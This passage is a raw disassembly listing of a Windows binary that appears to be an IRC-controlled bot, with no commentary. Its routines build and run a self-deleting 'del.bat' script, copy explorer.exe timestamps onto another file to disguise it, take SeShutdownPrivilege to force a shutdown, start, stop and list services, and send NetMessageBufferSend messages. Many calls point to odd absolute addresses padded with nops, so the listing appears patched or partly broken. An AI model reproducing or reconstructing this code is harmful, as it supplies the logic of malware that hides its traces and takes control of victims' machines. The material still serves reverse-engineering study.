ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DFEC cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; ___:00415EEBp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C500 push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B9C0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DFEC pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DFEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+arg_0] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2680880h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2810000h nop lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DB17C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C360 add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9A4 test eax, eax jz short loc_41875A push 1 call dword_4CB9C4 mov esi, eax test esi, esi jz short loc_41875A push edi push esi nop call near ptr 28206F1h push esi mov edi, eax call near ptr 2820000h nop call dword_4CBA28 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9E0 mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 283053Ah push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2830326h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C266 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA30 push esi push 1 push 4C9h push ebp call dword_4CBA30 push ebx call near ptr 2830000h nop push edi nop call near ptr 266076Ah push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBA90 test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 28407ABh nop push ebx mov ebx, dword_427070 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 2840000h nop push esi call ebx loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB914 neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; ___:00416C12p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAA4, esi jnz short loc_4188CA push esi call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26A0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 272081Ah mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2710000h nop push edi nop call near ptr 266076Ah push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BF70 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB88 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2680E9Ah push eax nop call near ptr 2670000h lea eax, [ebp+var_15C] push eax nop call near ptr 2680D81h cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax call near ptr 2680C82h nop loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2850000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 2660A8Bh nop loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D0613h cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB954 push edi push eax call dword_4CB964 test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset dword_4394FC loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+var_294] push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j nop call near ptr 2680880h push eax push offset unk_4394D4 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+var_294] push offset unk_4394A4 push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D0613h cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26A0CEEh mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26B0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E0D4 lea eax, [ebp+var_F8] push eax call sub_41E0B7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27C0860h mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 2690794h push eax call sub_41C2B8 pop ecx call sub_41C2C2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276E0 call sub_41D174 sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439520[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43951C[esi] push offset unk_439630 loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset dword_4DBA40 push esi call sub_41C266 add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439604 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DBA40 push off_439518[eax*4] push offset unk_4395E0 push esi call sub_41C266 add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9C8 mov edi, eax cmp edi, ebx jnz short loc_418CAF nop call near ptr 2680880h mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8B0 mov esi, eax cmp esi, ebx jnz short loc_418CCF call near ptr 2680880h nop mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB91C jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8B8 jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB920 loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 nop call near ptr 2680880h mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8CC loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8CC pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E96[ecx] jmp off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: ___:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset dword_4DB380 call sub_41C266 pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB380 call sub_41C266 add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset dword_4DB380 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9C8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB994 test eax, eax jnz short loc_418F1A nop call near ptr 2680880h cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused_0 ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+var_20] push eax call sub_41C266 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C266 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8CC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_439518[eax*4] push offset unk_439BC4 push esi call sub_41C266 add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] push edi push 0 call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_43951C[eax*4] push offset dword_439BA8 push esi call sub_41C266 add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB63C lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439B84 push esi call sub_41C266 add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DB83C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB83C, 1 lea eax, [ebp+1] push eax call sub_41D9A5 pop ecx mov dword_4DB5DC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5DC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB5DC pop edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr 